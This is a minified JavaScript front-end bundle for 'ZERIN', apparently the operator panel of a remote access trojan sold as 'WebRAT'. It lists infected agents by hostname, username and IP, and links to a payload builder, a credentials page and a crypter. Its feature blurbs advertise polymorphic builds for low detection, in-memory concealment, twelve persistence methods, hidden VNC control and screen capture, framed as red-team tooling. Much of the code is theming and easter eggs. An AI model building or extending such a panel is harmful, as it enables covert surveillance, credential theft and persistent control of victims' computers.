e?(s.add("femboy-theme"),Jg()):(s.remove("femboy-theme"),ey()),()=>{s.remove("femboy-theme"),ey()}},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{__(o.clientX,o.clientY)};return document.addEventListener("click",s,!0),()=>document.removeEventListener("click",s,!0)},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{A_(o.clientX,o.clientY)};return document.addEventListener("mousemove",s),()=>document.removeEventListener("mousemove",s)},[e]),m.useEffect(()=>{if(!e)return;const s=()=>{O_(),o=setTimeout(s,8e3+Math.random()*7e3)};let o=setTimeout(s,3e3);return()=>clearTimeout(o)},[e]);const i=m.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},z_),e){if(n.current>=qg){n.current=0,t(!1);try{localStorage.removeItem(nm)}catch{}C_()}return}if(n.current>=15&&P_(n.current-14),n.current>=qg){n.current=0,t(!0);try{localStorage.setItem(nm,"true")}catch{}S_(),E_(),Jg()}},[e]);return{isActive:e,handleStatusClick:i}}const ny=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function M_(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),s=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.08,t+.1),s.gain.setValueAtTime(.08,t+.8),s.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(s).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function L_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function I_(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` position:absolute;left:0;right:0;height:2px; top:${n*13}%; background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; opacity:0; animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,s=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` position:absolute;left:${s}%;top:${o}%; width:${i}px;height:${i}px; background:${u};border-radius:50%; box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; --synth-dx:${l}px;--synth-dy:${c}px; animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let ry=0,rm=0;function D_(e,t){const n=Date.now();if(n-ry<40)return;ry=n,rm=(rm+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=rm<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function R_(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,s=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` left:${s}vw;width:${i}px;height:${i}px; clip-path:${o}; border:1.5px solid ${r}; box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; background:${r}08; `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function $_(){const[e,t]=m.useState(!1),n=m.useRef([]),r=m.useRef();return m.useEffect(()=>{function i(s){var u,d;const o=(u=s.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=s.target)!=null&&d.isContentEditable)return;const l=s.key.length===1?s.key.toLowerCase():s.key;n.current.push(l);const c=ny.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);ny.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?L_():(M_(),I_()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),m.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),m.useEffect(()=>{if(!e)return;const i=s=>D_(s.clientX,s.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),m.useEffect(()=>{if(!e)return;const i=()=>{R_(),s=setTimeout(i,5e3+Math.random()*5e3)};let s=setTimeout(i,2e3);return()=>clearTimeout(s)},[e]),{isActive:e}}const B_={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},F_={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},W_={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},U_={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},V_={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function hd({status:e,size:t="md",showLabel:n=!1}){return a.jsxs("span",{className:"inline-flex items-center gap-2",children:[a.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block rounded-full ${B_[t]} ${W_[e]}`})]}),n&&a.jsx("span",{className:`font-mono font-medium tracking-wider ${F_[t]} ${U_[e]}`,children:V_[e]})]})}function H_({open:e,onClose:t,agents:n}){const[r,i]=m.useState(""),[s,o]=m.useState(0),l=m.useRef(null),c=xr(),u=m.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(p=>p.hostname.toLowerCase().includes(f)||p.username.toLowerCase().includes(f)||p.internal_ip.includes(f)||p.external_ip.includes(f)||p.id.toLowerCase().includes(f)).slice(0,10).map(p=>({type:"agent",id:p.id,primary:p.hostname,secondary:`${p.username} — ${p.internal_ip}`,agent:p}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);m.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),m.useEffect(()=>{o(0)},[r]);const d=m.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return m.useEffect(()=>{if(!e)return;function f(p){if(p.key==="Escape"){t();return}p.key==="ArrowDown"&&(p.preventDefault(),o(h=>Math.min(h+1,u.length-1))),p.key==="ArrowUp"&&(p.preventDefault(),o(h=>Math.max(h-1,0))),p.key==="Enter"&&u[s]&&(p.preventDefault(),d(u[s]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,s,t,d]),e?a.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[a.jsx("div",{className:"absolute inset-0 bg-black/60"}),a.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),a.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),a.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?a.jsx("div",{className:"px-4 py-8 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):a.jsxs("div",{className:"py-1",children:[!r&&a.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,p)=>a.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(p),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${p===s?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&a.jsx(hd,{status:f.agent.status,size:"sm"}),a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("p",{className:`text-sm font-medium truncate ${p===s?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),a.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),a.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let ca={status:"idle",payloadName:"",startedAt:0,error:""};const Op=new Set;function xd(){Op.forEach(e=>e())}function E5(){return ca}function _5(e){return Op.add(e),()=>Op.delete(e)}function K_(e){ca={status:"building",payloadName:e,startedAt:Date.now(),error:""},xd()}function Y_(){ca={...ca,status:"success"},xd()}function iy(e){ca={...ca,status:"error",error:e},xd()}function ay(){ca={status:"idle",payloadName:"",startedAt:0,error:""},xd()}const vd=m.createContext({lastMessage:null}),q_=[{to:"/dashboard",label:"Dashboard",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})},{to:"/credentials",label:"Credentials",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M18 8a6 6 0 01-7.743 5.743L10 14l-1 1-1 1H6v2H2v-4l4.257-4.257A6 6 0 1118 8zm-6-4a1 1 0 100 2 2 2 0 012 2 1 1 0 102 0 4 4 0 00-4-4z",clipRule:"evenodd"})})}],G_={to:"/crypter",label:"Crypter",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},X_={to:"/admin",label:"Admin",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function Z_(){const e=m.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return a.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>a.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function Q_(){const{logout:e,isAdmin:t}=ya(),r=m.useSyncExternalStore(_5,E5).status==="building",s=w5()==="rat_crypter"||t,o=[...q_,...s?[G_]:[],...t?[X_]:[]],l=xr(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:p,isSupported:h}=k_(),[x,g]=m.useState(!1),[y,v]=m.useState([]),{isActive:b,handleStatusClick:w}=T_(),{isActive:j}=$_(),[N,z]=m.useState(!1),k=m.useRef(""),S=m.useRef(null);m.useEffect(()=>{function I(Y){var M,W;if(N||Y.ctrlKey||Y.metaKey||Y.altKey)return;const D=(M=Y.target)==null?void 0:M.tagName;D==="INPUT"||D==="TEXTAREA"||D==="SELECT"||(W=Y.target)!=null&&W.isContentEditable||Y.key.length===1&&(k.current+=Y.key.toLowerCase(),k.current.length>20&&(k.current=k.current.slice(-10)),S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{k.current=""},3e3),k.current.includes("credits")&&(k.current="",z(!0)))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[N]),m.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const A=m.useCallback(async()=>{try{const I=await N5();v(I)}catch{}},[]);m.useEffect(()=>{A();const I=setInterval(A,15e3);return()=>clearInterval(I)},[A]);const _=m.useCallback(I=>{if(I.type==="agent_update"){const Y=I.payload;v(D=>{const M=D.findIndex(W=>W.id===Y.id);if(M>=0){const W=[...D];return W[M]=Y,W}return p("New Agent Connected",`${Y.hostname} (${Y.internal_ip})`),[Y,...D]})}if(I.type==="event"){const Y=I.payload;(Y.type==="task_completed"||Y.type==="task_failed")&&p("Task Update",Y.message)}},[p]),{isConnected:O,lastMessage:P}=N_({onMessage:_});return m.useEffect(()=>{function I(Y){(Y.metaKey||Y.ctrlKey)&&Y.key==="k"&&(Y.preventDefault(),g(D=>!D))}return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[]),a.jsx(vd.Provider,{value:{lastMessage:P},children:a.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[a.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[a.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:a.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"femboy-ear femboy-ear-left"}),a.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),a.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),a.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),a.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r text-zerin-text-muted border border-zerin-panel-border\r hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Search..."}),a.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),a.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:I,label:Y,icon:D})=>a.jsx(FE,{to:I,end:I==="/dashboard",className:({isActive:M})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 ${M?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:M})=>a.jsxs(a.Fragment,{children:[M&&a.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),a.jsx("span",{className:M?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:D}),a.jsx("span",{className:"font-medium",children:Y}),I==="/payloads"&&r&&a.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},I))}),a.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&a.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),a.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${O?"bg-zerin-accent":"bg-zinc-600"}`}),a.jsx("span",{className:O?"text-zerin-text-dim":"text-zerin-text-muted",children:O?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),a.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r transition-colors duration-150`,children:[a.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),a.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),a.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),a.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:a.jsx(CE,{})}),a.jsx(H_,{open:x,onClose:()=>g(!1),agents:y}),b&&a.jsx(Z_,{}),N&&a.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>z(!1),style:{animation:"credits-in 0.5s ease-out"},children:[a.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),a.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[a.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` _______ ______ ______ _____ __ _ / |______ |_____/ | | \\ | / |______ | \\_ __|__ | \\_| `}),a.jsxs("div",{className:"space-y-4 mb-10",children:[a.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),a.jsxs("div",{className:"space-y-3",children:[a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),a.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),a.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),a.jsx("style",{children:` @keyframes credits-in { from { opacity: 0; } to { opacity: 1; } } @keyframes glitch-appear { 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } } @keyframes credits-glow { from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } } @keyframes credit-slide { from { opacity: 0; transform: translateY(15px); } to { opacity: 1; transform: translateY(0); } } `})]})]})})}const J_=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let N=0;N{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function eA(e,t=40,n=0){const r=m.useRef(null),i=m.useRef(null),[s,o]=m.useState(!1);return m.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:s}}const tA=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 